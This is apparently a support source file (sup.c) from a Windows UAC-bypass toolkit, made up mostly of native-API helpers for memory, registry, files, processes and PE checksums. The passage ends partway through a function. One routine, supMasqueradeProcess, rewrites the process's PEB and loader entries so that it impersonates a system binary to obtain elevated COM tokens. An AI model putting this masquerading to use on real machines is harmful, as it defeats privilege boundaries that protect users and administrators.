/*******************************************************************************
*
*  (C) COPYRIGHT AUTHORS, 2015 - 2026
*
*  TITLE:       SUP.C
*
*  VERSION:     3.70
*
*  DATE:        19 May 2026
*
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
* PARTICULAR PURPOSE.
*
*******************************************************************************/
#include "global.h"
#include "uas.h"

ptrWTGetSignatureInfo WTGetSignatureInfo = NULL;

typedef struct _LDR_MASQUERADE_ENTRY {
    PWSTR OrigImagePathName;
    PWSTR OrigCommandLine;
    PWSTR OrigFullDllName;
    PWSTR OrigBaseDllName;

    WCHAR FakedFullPath[MAX_PATH * 2];
    USHORT NameOffset;
    BOOL Restore;
} LDR_MASQUERADE_ENTRY, * PLDR_MASQUERADE_ENTRY;

static LDR_MASQUERADE_ENTRY g_LdrMasqueradeEntry;

//
// Signatures array.
//
USER_ASSOC_SIGNATURE* g_UserAssocSignatures[] = {
    &UAS_SIG_7601,
    &UAS_SIG_9600,
    &UAS_SIG_14393,
    &UAS_SIG_17763,
    &UAS_SIG_18362,
    &UAS_SIG_18363,
    &UAS_SIG_19041,
    &UAS_SIG_19042_19043,
    &UAS_SIG_22000,
    &UAS_SIG_22621,
    &UAS_SIG_26100
};

#if defined(__cplusplus)
extern "C" {
#endif

    _Must_inspect_result_
        _Ret_maybenull_ _Post_writable_byte_size_(size)
        void* __RPC_USER MIDL_user_allocate(_In_ size_t size)
    {
        return((void __RPC_FAR*) supHeapAlloc(size));
    }

#pragma warning(push)
#pragma warning(disable: 6387)
#pragma warning(disable: 6001)
    void __RPC_USER MIDL_user_free(_Pre_maybenull_ _Post_invalid_ void* p)
    {
        supHeapFree(p);
    }
#pragma warning(pop)

#if defined(__cplusplus)
}
#endif

/*
* supEncodePointer
*
* Purpose:
*
* Encodes the specified pointer.
*
*/
PVOID supEncodePointer(
    _In_ PVOID Pointer)
{
    NTSTATUS Status;
    ULONG Cookie, retLength;

    if ((g_ctx == NULL) || (g_ctx->Cookie == 0)) {

        Status = NtQueryInformationProcess(
            NtCurrentProcess(),
            ProcessCookie,
            &Cookie,
            sizeof(ULONG),
            &retLength);

        if (!NT_SUCCESS(Status))
            RtlRaiseStatus(Status);

        if (g_ctx)
            g_ctx->Cookie = Cookie;

    }
    else {
        Cookie = g_ctx->Cookie;
    }

#ifdef _WIN64
    return (PVOID)(RotateRight64(
        (ULONG_PTR)Pointer ^ Cookie,
        Cookie & 0x3f));
#else
    return (PVOID)(RotateRight32(
        (ULONG_PTR)Pointer ^ Cookie,
        Cookie & 0x1f));
#endif
}

/*
* supDecodePointer
*
* Purpose:
*
* Decodes the specified pointer.
*
*/
PVOID supDecodePointer(
    _In_ PVOID Pointer)
{
    NTSTATUS Status;
    ULONG Cookie, retLength;

    if ((g_ctx == NULL) || (g_ctx->Cookie == 0)) {

        Status = NtQueryInformationProcess(
            NtCurrentProcess(),
            ProcessCookie,
            &Cookie,
            sizeof(ULONG),
            &retLength);

        if (!NT_SUCCESS(Status))
            RtlRaiseStatus(Status);

        if (g_ctx)
            g_ctx->Cookie = Cookie;

    }
    else {
        Cookie = g_ctx->Cookie;
    }

#ifdef _WIN64
    return (PVOID)(RotateRight64(
        (ULONG_PTR)Pointer,
        0x40 - (Cookie & 0x3f)) ^ Cookie);
#else
    return (PVOID)(RotateRight32(
        (ULONG_PTR)Pointer,
        0x20 - (Cookie & 0x1f)) ^ Cookie);
#endif
}

/*
* supVirtualAlloc
*
* Purpose:
*
* Wrapper for NtAllocateVirtualMemory.
*
*/
PVOID supVirtualAlloc(
    _Inout_ PSIZE_T Size,
    _In_ ULONG AllocationType,
    _In_ ULONG Protect,
    _Out_opt_ NTSTATUS* Status)
{
    NTSTATUS status;
    PVOID Buffer = NULL;
    SIZE_T size;

    size = *Size;

    status = NtAllocateVirtualMemory(
        NtCurrentProcess(),
        &Buffer,
        0,
        &size,
        AllocationType,
        Protect);

    if (NT_SUCCESS(status)) {
        RtlSecureZeroMemory(Buffer, size);
    }

    *Size = size;
    if (Status) *Status = status;

    return Buffer;
}

/*
* supVirtualFree
*
* Purpose:
*
* Wrapper for NtFreeVirtualMemory.
*
*/
BOOL supVirtualFree(
    _In_ PVOID Memory,
    _Out_opt_ NTSTATUS* Status)
{
    NTSTATUS status = STATUS_UNSUCCESSFUL;
    SIZE_T size = 0;

    status = NtFreeVirtualMemory(
        NtCurrentProcess(),
        &Memory,
        &size,
        MEM_RELEASE);

    if (Status) *Status = status;

    return NT_SUCCESS(status);
}

/*
* supSecureVirtualFree
*
* Purpose:
*
* Wrapper for NtFreeVirtualMemory.
*
*/
BOOL supSecureVirtualFree(
    _In_ PVOID Memory,
    _In_ SIZE_T MemorySize,
    _Out_opt_ NTSTATUS* Status)
{
    RtlSecureZeroMemory(Memory, MemorySize);
    return supVirtualFree(Memory, Status);
}

/*
* supHeapAlloc
*
* Purpose:
*
* Wrapper for RtlAllocateHeap with ucmHeap.
*
*/
PVOID FORCEINLINE supHeapAlloc(
    _In_ SIZE_T Size)
{
    return RtlAllocateHeap(g_ctx->ucmHeap, HEAP_ZERO_MEMORY, Size);
}

/*
* supHeapFree
*
* Purpose:
*
* Wrapper for RtlFreeHeap with ucmHeap.
*
*/
BOOL FORCEINLINE supHeapFree(
    _In_ PVOID Memory)
{
    return RtlFreeHeap(g_ctx->ucmHeap, 0, Memory);
}

/*
* supIsProcess32bit
*
* Purpose:
*
* Return TRUE if given process is under WOW64, FALSE otherwise.
*
*/
BOOLEAN supIsProcess32bit(
    _In_ HANDLE hProcess
)
{
    NTSTATUS status;
    PROCESS_EXTENDED_BASIC_INFORMATION pebi;

    if (hProcess == NULL) {
        return FALSE;
    }

    //query if this is wow64 process
    RtlSecureZeroMemory(&pebi, sizeof(pebi));
    pebi.Size = sizeof(PROCESS_EXTENDED_BASIC_INFORMATION);
    status = NtQueryInformationProcess(hProcess, ProcessBasicInformation, &pebi, sizeof(pebi), NULL);
    if (NT_SUCCESS(status)) {
        return (pebi.IsWow64Process == 1);
    }
    return FALSE;
}

/*
* supGetElevationType
*
* Purpose:
*
* Returns client elevation type.
*
*/
BOOL supGetElevationType(
    _Out_ TOKEN_ELEVATION_TYPE* lpType
)
{
    HANDLE hToken = NULL;
    NTSTATUS status;
    ULONG bytesRead = 0;
    TOKEN_ELEVATION_TYPE TokenType = TokenElevationTypeDefault;

    status = NtOpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken);
    if (NT_SUCCESS(status)) {

        status = NtQueryInformationToken(hToken, TokenElevationType, &TokenType,
            sizeof(TOKEN_ELEVATION_TYPE), &bytesRead);

        NtClose(hToken);
    }

    supSetLastErrorFromNtStatus(status);

    if (lpType)
        *lpType = TokenType;

    return (NT_SUCCESS(status));
}

/*
* supWriteBufferToFile
*
* Purpose:
*
* Create new file and write buffer to it.
*
*/
BOOL supWriteBufferToFile(
    _In_ LPCWSTR lpFileName,
    _In_opt_ PVOID Buffer,
    _In_ DWORD BufferSize
)
{
    HANDLE hFile;
    DWORD bytesIO = 0;

    if ((Buffer == NULL) || (BufferSize == 0))
        return FALSE;

    hFile = CreateFile(lpFileName,
        GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, 0, NULL);

    if (hFile != INVALID_HANDLE_VALUE) {
        WriteFile(hFile, Buffer, BufferSize, &bytesIO, NULL);
        CloseHandle(hFile);
    }
    else {
#ifdef _DEBUG
        supDebugPrint(TEXT("CreateFile"), GetLastError());
#endif
        return FALSE;
    }

    return (bytesIO == BufferSize);
}

/*
* supDebugPrint
*
* Purpose:
*
* Write formatted debug output.
*
*/
VOID supDebugPrint(
    _In_ LPCWSTR ApiName,
    _In_ DWORD status
)
{
    HANDLE Heap;
    LPWSTR lpBuffer;
    SIZE_T sz;

    sz = MAX_PATH;
    if (ApiName)
        sz += _strlen(ApiName);

    if (g_ctx == NULL) {
        Heap = NtCurrentPeb()->ProcessHeap;
    }
    else {
        Heap = g_ctx->ucmHeap;
    }

    lpBuffer = (LPWSTR)RtlAllocateHeap(Heap, HEAP_ZERO_MEMORY, sz * sizeof(WCHAR));
    if (lpBuffer) {
        _strcpy(lpBuffer, TEXT("[UCM] "));
        if (ApiName) {
            _strcat(lpBuffer, ApiName);
        }
        _strcat(lpBuffer, TEXT(" code = 0x"));
        ultohex(status, _strend(lpBuffer));
        _strcat(lpBuffer, TEXT("\n"));
        OutputDebugString(lpBuffer);
        RtlFreeHeap(Heap, 0, lpBuffer);
    }

}

/*
* supRegWriteValue
*
* Purpose:
*
* Write value to the registry.
*
*/
NTSTATUS supRegWriteValue(
    _In_ HANDLE hKey,
    _In_opt_ LPWSTR ValueName,
    _In_ DWORD ValueType,
    _In_ PVOID ValueData,
    _In_ ULONG ValueDataSize
)
{
    UNICODE_STRING usValue;

    if (ValueName) {

        RtlInitUnicodeString(&usValue, ValueName);

    }
    else {

        RtlInitEmptyUnicodeString(&usValue, NULL, 0);

    }

    return NtSetValueKey(hKey,
        &usValue,
        0,
        ValueType,
        ValueData,
        ValueDataSize);
}

/*
* supRegCurrentUserDeleteSubKeyValue
*
* Purpose:
*
* Remove value of the given subkey.
*
*/
NTSTATUS supRegCurrentUserDeleteSubKeyValue(
    _In_ LPWSTR SubKey,
    _In_ LPWSTR ValueName)
{
    NTSTATUS ntStatus;
    HANDLE hRootKey = NULL, hSubKey = NULL;
    OBJECT_ATTRIBUTES obja;
    UNICODE_STRING usSubKey, usValueName, usRootKey;

    ntStatus = RtlFormatCurrentUserKeyPath(&usRootKey);
    if (NT_SUCCESS(ntStatus)) {

        InitializeObjectAttributes(&obja, &usRootKey, OBJ_CASE_INSENSITIVE, NULL, NULL);
        ntStatus = NtOpenKey(&hRootKey, MAXIMUM_ALLOWED, &obja);
        if (NT_SUCCESS(ntStatus)) {

            RtlInitUnicodeString(&usSubKey, SubKey);

            obja.RootDirectory = hRootKey;
            obja.ObjectName = &usSubKey;
            ntStatus = NtOpenKey(&hSubKey, MAXIMUM_ALLOWED, &obja);
            if (NT_SUCCESS(ntStatus)) {
                RtlInitUnicodeString(&usValueName, ValueName);
                ntStatus = NtDeleteValueKey(hSubKey, &usValueName);
                NtClose(hSubKey);
            }

            NtClose(hRootKey);
        }

        RtlFreeUnicodeString(&usRootKey);
    }
    return ntStatus;
}

/*
* supRegReadValue
*
* Purpose:
*
* Read given value to output buffer.
* Returned Buffer must be released with RtlFreeHeap after use.
*
*/
NTSTATUS supRegReadValue(
    _In_ HANDLE hKey,
    _In_ LPWSTR ValueName,
    _In_ DWORD ValueType,
    _Out_ PVOID* Buffer,
    _Out_ ULONG* BufferSize,
    _In_opt_ HANDLE hHeap
)
{
    KEY_VALUE_PARTIAL_INFORMATION* kvpi;
    UNICODE_STRING usName;
    NTSTATUS Status = STATUS_UNSUCCESSFUL;
    ULONG Length = 0;
    PVOID CopyBuffer = NULL;
    HANDLE Heap;

    *Buffer = NULL;
    *BufferSize = 0;

    if (hHeap == NULL)
        Heap = NtCurrentPeb()->ProcessHeap;
    else
        Heap = hHeap;

    RtlInitUnicodeString(&usName, ValueName);
    Status = NtQueryValueKey(hKey, &usName, KeyValuePartialInformation, NULL, 0, &Length);
    if (Status == STATUS_BUFFER_TOO_SMALL) {

        kvpi = (KEY_VALUE_PARTIAL_INFORMATION*)RtlAllocateHeap(Heap, HEAP_ZERO_MEMORY, Length);
        if (kvpi) {

            Status = NtQueryValueKey(hKey, &usName, KeyValuePartialInformation, kvpi, Length, &Length);
            if (NT_SUCCESS(Status)) {

                if (kvpi->Type == ValueType) {

                    CopyBuffer = RtlAllocateHeap(Heap, HEAP_ZERO_MEMORY, kvpi->DataLength);
                    if (CopyBuffer) {
                        RtlCopyMemory(CopyBuffer, kvpi->Data, kvpi->DataLength);
                        *Buffer = CopyBuffer;
                        *BufferSize = kvpi->DataLength;
                        Status = STATUS_SUCCESS;
                    }
                    else {
                        Status = STATUS_NO_MEMORY;
                    }
                }
                else {
                    Status = STATUS_OBJECT_TYPE_MISMATCH;
                }
            }
            RtlFreeHeap(Heap, 0, kvpi);
        }
        else {
            Status = STATUS_NO_MEMORY;
        }
    }

    return Status;
}

/*
* supReadFileToBuffer
*
* Purpose:
*
* Read file to buffer. Release memory when it no longer needed.
*
*/
PBYTE supReadFileToBuffer(
    _In_ LPCWSTR lpFileName,
    _Inout_opt_ LPDWORD lpBufferSize
)
{
    NTSTATUS    status;
    HANDLE      hFile = NULL;
    PBYTE       Buffer = NULL;
    SIZE_T      sz = 0;

    UNICODE_STRING              usName;
    OBJECT_ATTRIBUTES           attr;
    IO_STATUS_BLOCK             iost;
    FILE_STANDARD_INFORMATION   fi;

    do {

        if (lpFileName == NULL)
            return NULL;

        if (!RtlDosPathNameToNtPathName_U(lpFileName, &usName, NULL, NULL))
            break;

        InitializeObjectAttributes(&attr, &usName, OBJ_CASE_INSENSITIVE, 0, NULL);

        status = NtCreateFile(
            &hFile,
            FILE_READ_DATA | SYNCHRONIZE,
            &attr,
            &iost,
            NULL,
            FILE_ATTRIBUTE_NORMAL,
            FILE_SHARE_READ,
            FILE_OPEN,
            FILE_NON_DIRECTORY_FILE | FILE_SYNCHRONOUS_IO_NONALERT,
            NULL,
            0);

        RtlFreeUnicodeString(&usName);

        if (!NT_SUCCESS(status)) {
            break;
        }

        RtlSecureZeroMemory(&fi, sizeof(fi));

        status = NtQueryInformationFile(
            hFile,
            &iost,
            &fi,
            sizeof(FILE_STANDARD_INFORMATION),
            FileStandardInformation);

        if (!NT_SUCCESS(status))
            break;

        sz = (SIZE_T)fi.EndOfFile.LowPart;

        Buffer = (PBYTE)supVirtualAlloc(
            &sz,
            DEFAULT_ALLOCATION_TYPE,
            DEFAULT_PROTECT_TYPE,
            &status);

        if (NT_SUCCESS(status)) {

            status = NtReadFile(
                hFile,
                NULL,
                NULL,
                NULL,
                &iost,
                Buffer,
                fi.EndOfFile.LowPart,
                NULL,
                NULL);

            if (NT_SUCCESS(status)) {
                if (lpBufferSize)
                    *lpBufferSize = fi.EndOfFile.LowPart;
            }
            else {
                supVirtualFree(Buffer, NULL);
                Buffer = NULL;
            }
        }

    } while (FALSE);

    if (hFile != NULL) {
        NtClose(hFile);
    }

    return Buffer;
}

/*
* supRunProcess3
*
* Purpose:
*
* ShellExecuteEx given process with given parameters and return handle to it.
*
*/
HANDLE supRunProcess3(
    _In_ LPCWSTR lpFile,
    _In_opt_ LPCWSTR lpParameters,
    _In_opt_ LPCWSTR lpVerb,
    _In_ INT nShow
)
{
    SHELLEXECUTEINFO shinfo;

    RtlSecureZeroMemory(&shinfo, sizeof(shinfo));
    shinfo.cbSize = sizeof(shinfo);
    shinfo.fMask = SEE_MASK_FLAG_NO_UI | SEE_MASK_NOCLOSEPROCESS;
    shinfo.lpFile = lpFile;
    shinfo.lpParameters = lpParameters;
    shinfo.nShow = nShow;
    shinfo.lpVerb = lpVerb;
    if (ShellExecuteEx(&shinfo))
        return shinfo.hProcess;

    return NULL;
}

/*
* supRunProcess2
*
* Purpose:
*
* Execute given process with given parameters and wait if specified.
*
*/
BOOL supRunProcess2(
    _In_ LPCWSTR lpFile,
    _In_opt_ LPCWSTR lpParameters,
    _In_opt_ LPCWSTR lpVerb,
    _In_ INT nShow,
    _In_ ULONG mTimeOut
)
{
    BOOL bResult = FALSE;
    HANDLE hProcess = supRunProcess3(lpFile,
        lpParameters,
        lpVerb,
        nShow);

    if (hProcess) {
        if (mTimeOut != 0) {
            if (WaitForSingleObject(hProcess, mTimeOut) == WAIT_TIMEOUT)
                TerminateProcess(hProcess, WAIT_TIMEOUT);
        }
        CloseHandle(hProcess);
        bResult = TRUE;
    }
    return bResult;
}

/*
* supRunProcess
*
* Purpose:
*
* Execute given process with given parameters.
*
*/
BOOL supRunProcess(
    _In_ LPCWSTR lpFile,
    _In_opt_ LPCWSTR lpParameters
)
{
    return supRunProcess2(lpFile,
        lpParameters,
        NULL,
        SW_SHOW,
        SUPRUNPROCESS_TIMEOUT_DEFAULT);
}

/*
* supCopyMemory
*
* Purpose:
*
* Copies bytes between buffers.
*
* dest - Destination buffer
* cbdest - Destination buffer size in bytes
* src - Source buffer
* cbsrc - Source buffer size in bytes
*
*/
void supCopyMemory(
    _Inout_ void* dest,
    _In_ size_t cbdest,
    _In_ const void* src,
    _In_ size_t cbsrc
)
{
    char* d = (char*)dest;
    char* s = (char*)src;

    if ((dest == 0) || (src == 0) || (cbdest == 0))
        return;
    if (cbdest < cbsrc)
        cbsrc = cbdest;

    while (cbsrc > 0) {
        *d++ = *s++;
        cbsrc--;
    }
}

/*
* supQueryEnvironmentVariableOffset
*
* Purpose:
*
* Return offset to the given environment variable.
*
*/
LPWSTR supQueryEnvironmentVariableOffset(
    _In_ PUNICODE_STRING Value
)
{
    UNICODE_STRING   str1;
    PWCHAR           EnvironmentBlock, ptr;

    EnvironmentBlock = (PWCHAR)RtlGetCurrentPeb()->ProcessParameters->Environment;
    ptr = EnvironmentBlock;

    do {
        if (*ptr == 0)
            return 0;

        RtlInitUnicodeString(&str1, ptr);
        if (RtlPrefixUnicodeString(Value, &str1, TRUE))
            break;

        ptr += _strlen(ptr) + 1;

    } while (1);

    return (ptr + Value->Length / sizeof(WCHAR));
}

/*
* supChkSum
*
* Purpose:
*
* Calculate partial checksum for given buffer.
*
*/
USHORT supChkSum(
    ULONG PartialSum,
    PUSHORT Source,
    ULONG Length
)
{
    while (Length--) {
        PartialSum += *Source++;
        PartialSum = (PartialSum >> 16) + (PartialSum & 0xffff);
    }
    return (USHORT)(((PartialSum >> 16) + PartialSum) & 0xffff);
}

/*
* supCalculateCheckSumForMappedFile
*
* Purpose:
*
* Calculate PE file checksum.
*
*/
DWORD supCalculateCheckSumForMappedFile(
    _In_ PVOID BaseAddress,
    _In_ ULONG FileLength
)
{
    PUSHORT AdjustSum;
    PIMAGE_NT_HEADERS NtHeaders;
    USHORT PartialSum;
    ULONG CheckSum;

    PartialSum = supChkSum(0, (PUSHORT)BaseAddress, (FileLength + 1) >> 1);

    NtHeaders = RtlImageNtHeader(BaseAddress);
    if (NtHeaders != NULL) {
        AdjustSum = (PUSHORT)(&NtHeaders->OptionalHeader.CheckSum);
        PartialSum -= (PartialSum < AdjustSum[0]);
        PartialSum -= AdjustSum[0];
        PartialSum -= (PartialSum < AdjustSum[1]);
        PartialSum -= AdjustSum[1];
    }
    else
    {
        PartialSum = 0;
    }
    CheckSum = (ULONG)PartialSum + FileLength;
    return CheckSum;
}

/*
* supVerifyMappedImageMatchesChecksum
*
* Purpose:
*
* Calculate PE file checksum and compare it with checksum in PE header.
*
*/
BOOLEAN supVerifyMappedImageMatchesChecksum(
    _In_ PVOID BaseAddress,
    _In_ ULONG FileLength
)
{
    PIMAGE_NT_HEADERS NtHeaders;
    ULONG HeaderSum;
    ULONG CheckSum;

    CheckSum = supCalculateCheckSumForMappedFile(BaseAddress, FileLength);

    NtHeaders = RtlImageNtHeader(BaseAddress);
    if (NtHeaders) {
        HeaderSum = NtHeaders->OptionalHeader.CheckSum;
    }
    else {
        HeaderSum = FileLength;
    }
    return (CheckSum == HeaderSum);
}

/*
* supSetCheckSumForMappedFile
*
* Purpose:
*
* Set checksum value to PE header.
*
*/
BOOLEAN supSetCheckSumForMappedFile(
    _In_ PVOID BaseAddress,
    _In_ ULONG CheckSum
)
{
    PIMAGE_NT_HEADERS NtHeaders;

    NtHeaders = RtlImageNtHeader(BaseAddress);
    if (NtHeaders) {
        NtHeaders->OptionalHeader.CheckSum = CheckSum;
        return TRUE;
    }
    return FALSE;
}

/*
* supLdrQueryResourceDataEx
*
* Purpose:
*
* Load resource by given id (win32 FindResource, SizeofResource, LockResource).
*
*/
NTSTATUS supLdrQueryResourceDataEx(
    _In_ ULONG_PTR ResourceId,
    _In_ PVOID DllHandle,
    _Out_ PULONG DataSize,
    _Out_ PVOID* Data
)
{
    NTSTATUS                   status;
    ULONG_PTR                  IdPath[3];
    IMAGE_RESOURCE_DATA_ENTRY* DataEntry;
    ULONG                      SizeOfData = 0;

    if (DataSize)
        *DataSize = 0;

    if (DllHandle == NULL) {
        return STATUS_INVALID_PARAMETER_2;
    }

    IdPath[0] = (ULONG_PTR)RT_RCDATA; //type
    IdPath[1] = ResourceId;           //id
    IdPath[2] = 0;                    //lang

    status = LdrFindResource_U(DllHandle, (ULONG_PTR*)&IdPath, 3, &DataEntry);
    if (NT_SUCCESS(status)) {
        status = LdrAccessResource(DllHandle, DataEntry, Data, &SizeOfData);
        if (NT_SUCCESS(status)) {
            if (DataSize) {
                *DataSize = SizeOfData;
            }
        }
    }

    return status;
}

/*
* supLdrQueryResourceData
*
* Purpose:
*
* Load resource by given id (win32 FindResource, SizeofResource, LockResource).
*
*/
PBYTE supLdrQueryResourceData(
    _In_ ULONG_PTR ResourceId,
    _In_ PVOID DllHandle,
    _Out_ PULONG DataSize
)
{
    NTSTATUS status;
    PBYTE Data = NULL;

    status = supLdrQueryResourceDataEx(ResourceId,
        DllHandle,
        DataSize,
        &Data);

    if (NT_SUCCESS(status))
        return Data;

    return NULL;
}

/*
* supSetLastErrorFromNtStatus
*
* Purpose:
*
* Convert last error.
*
*/
VOID supSetLastErrorFromNtStatus(
    _In_ NTSTATUS LastNtStatus
)
{
    DWORD dwErrorCode;
#ifdef _WIN64
    dwErrorCode = RtlNtStatusToDosErrorNoTeb(LastNtStatus);
#else
    dwErrorCode = RtlNtStatusToDosError(LastNtStatus);
#endif
    SetLastError(dwErrorCode);
}

/*
* supxLdrEnumModulesCallback
*
* Purpose:
*
* LdrEnumerateLoadedModules callback.
*
*/
VOID NTAPI supxLdrEnumModulesCallback(
    _In_ PCLDR_DATA_TABLE_ENTRY DataTableEntry,
    _In_ PVOID Context,
    _Inout_ BOOLEAN* StopEnumeration
)
{
    PPEB Peb = NtCurrentPeb();
    PLDR_MASQUERADE_ENTRY Entry = (PLDR_MASQUERADE_ENTRY)Context;
    PWSTR FullDllName, BaseDllName;

    if (DataTableEntry->DllBase == Peb->ImageBaseAddress) {

        if (Entry->Restore) {
            FullDllName = Entry->OrigFullDllName;
            BaseDllName = Entry->OrigBaseDllName;
        }
        else {
            Entry->OrigBaseDllName = DataTableEntry->BaseDllName.Buffer;
            Entry->OrigFullDllName = DataTableEntry->FullDllName.Buffer;
            FullDllName = Entry->FakedFullPath;
            BaseDllName = &Entry->FakedFullPath[Entry->NameOffset];
        }

        RtlInitUnicodeString(&DataTableEntry->FullDllName, FullDllName);
        RtlInitUnicodeString(&DataTableEntry->BaseDllName, BaseDllName);

        *StopEnumeration = TRUE;
    }
    else {
        *StopEnumeration = FALSE;
    }
}

/*
* supMasqueradeProcess
*
* Purpose:
*
* Fake/Restore current process information for COM elevation.
* 
* RAiGetTokenForCOM -> AipGetTokenForService -> AiCheckSecureApplicationDirectory
*
*/
VOID supMasqueradeProcess(
    _In_ BOOL Restore,
    _In_ LPCWSTR Target
)
{
    PPEB Peb = NtCurrentPeb();
    PWSTR ImageFileName, CommandLine;

    if (Restore == FALSE) {
        RtlSecureZeroMemory(&g_LdrMasqueradeEntry, sizeof(g_LdrMasqueradeEntry));
        _strcpy(g_LdrMasqueradeEntry.FakedFullPath, g_ctx->szSystemRoot);
        g_LdrMasqueradeEntry.NameOffset = (USHORT)_strlen(g_LdrMasqueradeEntry.FakedFullPath);
        _strcat(g_LdrMasqueradeEntry.FakedFullPath, Target);
    }

    RtlAcquirePebLock();

    if (Restore) {
        CommandLine = g_LdrMasqueradeEntry.OrigCommandLine;
        ImageFileName = g_LdrMasqueradeEntry.OrigImagePathName;
        g_LdrMasqueradeEntry.Restore = TRUE;
    }
    else {
        g_LdrMasqueradeEntry.OrigImagePathName = Peb->ProcessParameters->ImagePathName.Buffer;
        g_LdrMasqueradeEntry.OrigCommandLine = Peb->ProcessParameters->CommandLine.Buffer;

        ImageFileName = g_LdrMasqueradeEntry.FakedFullPath;
        CommandLine = &g_LdrMasqueradeEntry.FakedFullPath[g_LdrMasqueradeEntry.NameOffset];
    }

    RtlInitUnicodeString(&Peb->ProcessParameters->ImagePathName, ImageFileName);
    RtlInitUnicodeString(&Peb->ProcessParameters->CommandLine, CommandLine);

    RtlReleasePebLock();

    LdrEnumerateLoadedModules(0, &supxLdrEnumModulesCallback, (PVOID)&g_LdrMasqueradeEntry);
}

/*
* supExpandEnvironmentStrings
*
* Purpose:
*
* Native ExpandEnvironmetStrings.
*
*/
DWORD supExpandEnvironmentStrings(
    _In_ LPCWSTR lpSrc,
    _In_ LPWSTR lpDst,
    _In_ DWORD nSize
)
{
    NTSTATUS Status;
    UNICODE_STRING Source, Destination;
    ULONG Length;
    DWORD iSize;

    if (nSize > (MAXUSHORT >> 1) - 2) {
        iSize = (MAXUSHORT >> 1) - 2;
    }
    else {
        iSize = nSize;
    }

    RtlInitUnicodeString(&Source, lpSrc);
    Destination.Buffer = lpDst;
    Destination.Length = 0;
    Destination.MaximumLength = (USHORT)(iSize * sizeof(WCHAR));
    Length = 0;
    Status = RtlExpandEnvironmentStrings_U(NULL,
        &Source,
        &Destination,
        &Length
    );
    if (NT_SUCCESS(Status) || Status == STATUS_BUFFER_TOO_SMALL) {
        return (DWORD)(Length / sizeof(WCHAR));
    }
    else {
        supSetLastErrorFromNtStatus(Status);
        return 0;
    }
}

/*
* sxsFilePathNoSlash
*
* Purpose:
*
* same as _filepath except it doesnt return last slash.
*
*/
wchar_t* sxsFilePathNoSlash(
    const wchar_t* fname,
    wchar_t* fpath
)
{
    wchar_t* p = (wchar_t*)fname, * p0 = (wchar_t*)fname, * p1 = (wchar_t*)fpath;

    if ((fname == 0) || (fpath == NULL))
        return 0;

    while (*fname != (wchar_t)0) {
        if (*fname == '\\')
            p = (wchar_t*)fname;
        fname++;
    }

    while (p0 < p) {
        *p1 = *p0;
        p1++;
        p0++;
    }
    *p1 = 0;

    return fpath;
}

/*
* sxsFindLoaderEntry
*
* Purpose:
*
* Return loader entry filename for sxs dll.
*
*/
BOOL sxsFindLoaderEntry(
    _In_ PSXS_SEARCH_CONTEXT Context
)
{
    NTSTATUS Status;
    HANDLE hDll = NULL;
    UNICODE_STRING usDll;

    PLDR_DATA_TABLE_ENTRY LdrTableEntry = NULL;

    RtlInitUnicodeString(&usDll, Context->DllName);

    Status = LdrGetDllHandle(
        NULL,
        NULL,
        &usDll,
        &hDll);

    if (NT_SUCCESS(Status)) {

        Status = LdrFindEntryForAddress(
            hDll,
            &LdrTableEntry);

        if (NT_SUCCESS(Status)) {

            if (_strstri(
                LdrTableEntry->FullDllName.Buffer,
                L".local") == NULL)
            {
                if (_strstri(
                    LdrTableEntry->FullDllName.Buffer,
                    Context->SxsKey))
                {
                    sxsFilePathNoSlash(
                        LdrTableEntry->FullDllName.Buffer,
                        Context->FullDllPath);

                }
                else
                    Status = STATUS_NOT_FOUND;
            }
            else
                Status = STATUS_TOO_LATE;
        }
    }

    return NT_SUCCESS(Status);
}

/*
* supxDeleteKeyRecursive
*
* Purpose:
*
* Delete key and all it subkeys/values.
*
*/
BOOL supxDeleteKeyRecursive(
    _In_ HKEY hKeyRoot,
    _In_ LPWSTR lpSubKey)
{
    LPWSTR lpEnd;
    LONG lResult;
    DWORD dwSize;
    WCHAR szName[MAX_PATH + 1];
    HKEY hKey;
    FILETIME ftWrite;

    //
    // Attempt to delete key as is.
    //
    lResult = RegDeleteKey(hKeyRoot, lpSubKey);
    if (lResult == ERROR_SUCCESS)
        return TRUE;

    //
    // Try to open key to check if it exist.
    //
    lResult = RegOpenKeyEx(hKeyRoot, lpSubKey, 0, KEY_READ, &hKey);
    if (lResult != ERROR_SUCCESS) {
        if (lResult == ERROR_FILE_NOT_FOUND)
            return TRUE;
        else
            return FALSE;
    }

    //
    // Add slash to the key path if not present.
    //
    lpEnd = _strend(lpSubKey);
    if (*(lpEnd - 1) != TEXT('\\')) {
        *lpEnd = TEXT('\\');
        lpEnd++;
        *lpEnd = TEXT('\0');
    }

    //
    // Enumerate subkeys and call this func for each.
    //
    dwSize = MAX_PATH;
    lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
        NULL, NULL, &ftWrite);

    if (lResult == ERROR_SUCCESS) {

        do {

            _strncpy(lpEnd, MAX_PATH, szName, MAX_PATH);

            if (!supxDeleteKeyRecursive(hKeyRoot, lpSubKey))
                break;

            dwSize = MAX_PATH;

            lResult = RegEnumKeyEx(hKey, 0, szName, &dwSize, NULL,
                NULL, NULL, &ftWrite);

        } while (lResult == ERROR_SUCCESS);
    }

    lpEnd--;
    *lpEnd = TEXT('\0');

    RegCloseKey(hKey);

    //
    // Delete current key, all it subkeys should be already removed.
    //
    lResult = RegDeleteKey(hKeyRoot, lpSubKey);
    if (lResult == ERROR_SUCCESS)
        return TRUE;

    return FALSE;
}

/*
* supRegDeleteKeyRecursive
*
* Purpose:
*
* Delete key and all it subkeys/values.
*
* Remark:
*
* SubKey should not be longer than 260 chars.
*
*/
BOOL supRegDeleteKeyRecursive(
    _In_ HKEY hKeyRoot,
    _In_ LPCWSTR lpSubKey)
{
    WCHAR szKeyName[MAX_PATH * 2];
    RtlSecureZeroMemory(szKeyName, sizeof(szKeyName));
    _strncpy(szKeyName, MAX_PATH * 2, lpSubKey, MAX_PATH);
    return supxDeleteKeyRecursive(hKeyRoot, szKeyName);
}

/*
* supSetEnvVariableEx
*
* Purpose:
*
* Remove or set current user environment variable (NTAPI variant).
*
*/
BOOL supSetEnvVariableEx(
    _In_ BOOL fRemove,
    _In_opt_ LPWSTR lpKeyName,
    _In_ LPCWSTR lpVariableName,
    _In_opt_ LPCWSTR lpVariableData
)
{
